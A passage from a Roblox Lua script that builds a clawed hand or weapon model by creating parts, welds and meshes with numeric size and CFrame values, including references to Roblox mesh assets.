  667. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  668. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  669. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  670. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  671. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  672. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  673. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  674. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  675. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  676. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  677. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  678. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  679. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  680. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  681. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  682. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  683. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  684. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  685. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  686. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  687. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  688. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  689. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  690. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  691. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  692. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  693. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  694. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  695. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  696. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  697. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  698. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  699. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  700. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  701. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  702. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  703. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  704. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  705. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  706. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  707. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  708. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  709. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  710. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  711. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  712. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  713. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  714. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  715. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  716. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  717. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  718. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  719. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  720. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  721. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  722. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  723. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  724. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  725. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  726. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  727. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  728. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  729. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  730. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  731. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  732. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  733. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  734. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  735. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  736. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  737. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  738. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  739. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  740. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  741. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  742. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  743. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  744. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  745. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  746. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  747. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  748. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  749. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  750. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  751. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  752. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  753. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  754. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  755. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  756. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  757. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  758. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  759. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  760. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  761. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  762. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  763. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  764. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  765. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  766. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  767. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  768. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  769. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  770. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  771. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  772. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  773. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  774. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  775. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  776. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  777. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  778. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  779. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  780. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  781. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  782. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  783. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  784. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  785. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  786. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  787. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  788. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  789. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  790. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  791. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  792. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  793. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  794. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  795. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  796. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  797. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  798. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  799. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  800. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  801. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  802. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  803. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  804. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  805. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  806. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  807. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  808. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  809. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  810. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  811. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
